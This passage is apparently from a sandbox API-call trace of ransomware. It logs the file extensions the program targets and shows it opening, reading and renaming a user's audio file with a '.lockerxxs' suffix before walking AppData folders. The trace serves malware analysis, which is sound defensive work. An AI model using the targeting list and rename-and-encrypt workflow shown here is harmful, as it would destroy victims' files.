pszSpec="*.pptx") returned 0 [0087.291] lstrlenA (lpString="*.pptx") returned 6 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.doc") returned 0 [0087.291] lstrlenA (lpString="*.doc") returned 5 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.dot") returned 0 [0087.292] lstrlenA (lpString="*.dot") returned 5 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.docx") returned 0 [0087.292] lstrlenA (lpString="*.docx") returned 6 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.7z") returned 0 [0087.292] lstrlenA (lpString="*.7z") returned 4 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.tar") returned 0 [0087.292] lstrlenA (lpString="*.tar") returned 5 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.bz2") returned 0 [0087.292] lstrlenA (lpString="*.bz2") returned 5 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.gz") returned 0 [0087.292] lstrlenA (lpString="*.gz") returned 4 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.mkv") returned 0 [0087.292] lstrlenA (lpString="*.mkv") returned 5 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.eml") returned 0 [0087.292] lstrlenA (lpString="*.eml") returned 5 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.msg") returned 0 [0087.292] lstrlenA (lpString="*.msg") returned 5 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.edb") returned 0 [0087.292] lstrlenA (lpString="*.edb") returned 5 [0087.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.accdb") returned 0 [0087.292] lstrlenA (lpString="*.accdb") returned 7 [0087.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.odb") returned 0 [0087.293] lstrlenA (lpString="*.odb") returned 5 [0087.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.java") returned 0 [0087.293] lstrlenA (lpString="*.java") returned 6 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.asm") returned 0 [0087.296] lstrlenA (lpString="*.asm") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.pfx") returned 0 [0087.296] lstrlenA (lpString="*.pfx") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.pem") returned 0 [0087.296] lstrlenA (lpString="*.pem") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.p12") returned 0 [0087.296] lstrlenA (lpString="*.p12") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.gpg") returned 0 [0087.296] lstrlenA (lpString="*.gpg") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.vsd") returned 0 [0087.296] lstrlenA (lpString="*.vsd") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.odg") returned 0 [0087.296] lstrlenA (lpString="*.odg") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.raw") returned 0 [0087.296] lstrlenA (lpString="*.raw") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.nef") returned 0 [0087.296] lstrlenA (lpString="*.nef") returned 5 [0087.296] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.svg") returned 0 [0087.297] lstrlenA (lpString="*.svg") returned 5 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.psd") returned 0 [0087.297] lstrlenA (lpString="*.psd") returned 5 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.vmx") returned 0 [0087.297] lstrlenA (lpString="*.vmx") returned 5 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.vmdk") returned 0 [0087.297] lstrlenA (lpString="*.vmdk") returned 6 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.vdi") returned 0 [0087.297] lstrlenA (lpString="*.vdi") returned 5 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.lay6") returned 0 [0087.297] lstrlenA (lpString="*.lay6") returned 6 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.mpeg") returned 0 [0087.297] lstrlenA (lpString="*.mpeg") returned 6 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.djvu") returned 0 [0087.297] lstrlenA (lpString="*.djvu") returned 6 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.tiff") returned 0 [0087.297] lstrlenA (lpString="*.tiff") returned 6 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.backup") returned 0 [0087.297] lstrlenA (lpString="*.backup") returned 8 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.pdf") returned 0 [0087.297] lstrlenA (lpString="*.pdf") returned 5 [0087.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.cert") returned 0 [0087.298] lstrlenA (lpString="*.cert") returned 6 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.docm") returned 0 [0087.298] lstrlenA (lpString="*.docm") returned 6 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.xlsm") returned 0 [0087.298] lstrlenA (lpString="*.xlsm") returned 6 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.dwg") returned 0 [0087.298] lstrlenA (lpString="*.dwg") returned 5 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.nd") returned 0 [0087.298] lstrlenA (lpString="*.nd") returned 4 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.tlg") returned 0 [0087.298] lstrlenA (lpString="*.tlg") returned 5 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.lgb") returned 0 [0087.298] lstrlenA (lpString="*.lgb") returned 5 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.mov") returned 0 [0087.298] lstrlenA (lpString="*.mov") returned 5 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.xdw") returned 0 [0087.298] lstrlenA (lpString="*.xdw") returned 5 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.ods") returned 0 [0087.298] lstrlenA (lpString="*.ods") returned 5 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.wav") returned 0 [0087.298] lstrlenA (lpString="*.wav") returned 5 [0087.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.mp3") returned 0 [0087.299] lstrlenA (lpString="*.mp3") returned 5 [0087.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.aiff") returned 0 [0087.299] lstrlenA (lpString="*.aiff") returned 6 [0087.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.flac") returned 0 [0087.299] lstrlenA (lpString="*.flac") returned 6 [0087.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.m4a") returned 1 [0087.299] lstrlenA (lpString="*.m4a") returned 5 [0087.299] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a" [0087.299] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a" [0087.299] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a." [0087.299] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a.lockerxxs" [0087.299] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7exetvi6c3r.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.300] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdbae [0087.300] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xef255f20, dwHighDateTime=0x1d5dc17), lpLastAccessTime=0x407536*(dwLowDateTime=0xa3443210, dwHighDateTime=0x1d5df79), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa3443210, dwHighDateTime=0x1d5df79)) returned 1 [0087.300] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.300] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xdb88, lpOverlapped=0x0) returned 1 [0087.303] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.303] CloseHandle (hObject=0x8c) returned 1 [0087.304] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7exetvi6c3r.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7exetvi6c3r.m4a.lockerxxs")) returned 1 [0087.305] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x32000331, dwReserved1=0x4e00c4, cFileName="Adobe", cAlternateFileName="")) returned 1 [0087.305] lstrcmpA (lpString1=".", lpString2="Adobe") returned -1 [0087.305] lstrcmpA (lpString1="..", lpString2="Adobe") returned -1 [0087.306] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0087.306] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned 51 [0087.306] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502618 [0087.309] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.309] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0087.309] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.309] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.309] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0087.309] lstrcmpA (lpString1=".", lpString2="Acrobat") returned -1 [0087.309] lstrcmpA (lpString1="..", lpString2="Acrobat") returned -1 [0087.310] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" [0087.310] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned 59 [0087.310] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.310] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.310] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.310] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.310] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.310] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0087.310] lstrcmpA (lpString1=".", lpString2="10.0") returned -1 [0087.310] lstrcmpA (lpString1="..", lpString2="10.0") returned -1 [0087.311] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="10.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0087.311] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned 64 [0087.311] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.311] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.311] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.311] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.311] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.311] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0087.311] lstrcmpA (lpString1=".", lpString2="Collab") returned -1 [0087.311] lstrcmpA (lpString1="..", lpString2="Collab") returned -1 [0087.312] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\", lpString2="Collab" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" [0087.312] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned 71 [0087.312] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.312] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.312] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.312] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.312] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.312] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.312] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.313] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0043, dwReserved1=0x6c006c, cFileName="Forms", cAlternateFileName="")) returned 1 [0087.313] lstrcmpA (lpString1=".", lpString2="Forms") returned -1 [0087.313] lstrcmpA (lpString1="..", lpString2="Forms") returned -1 [0087.313] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\", lpString2="Forms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" [0087.313] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned 70 [0087.313] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", 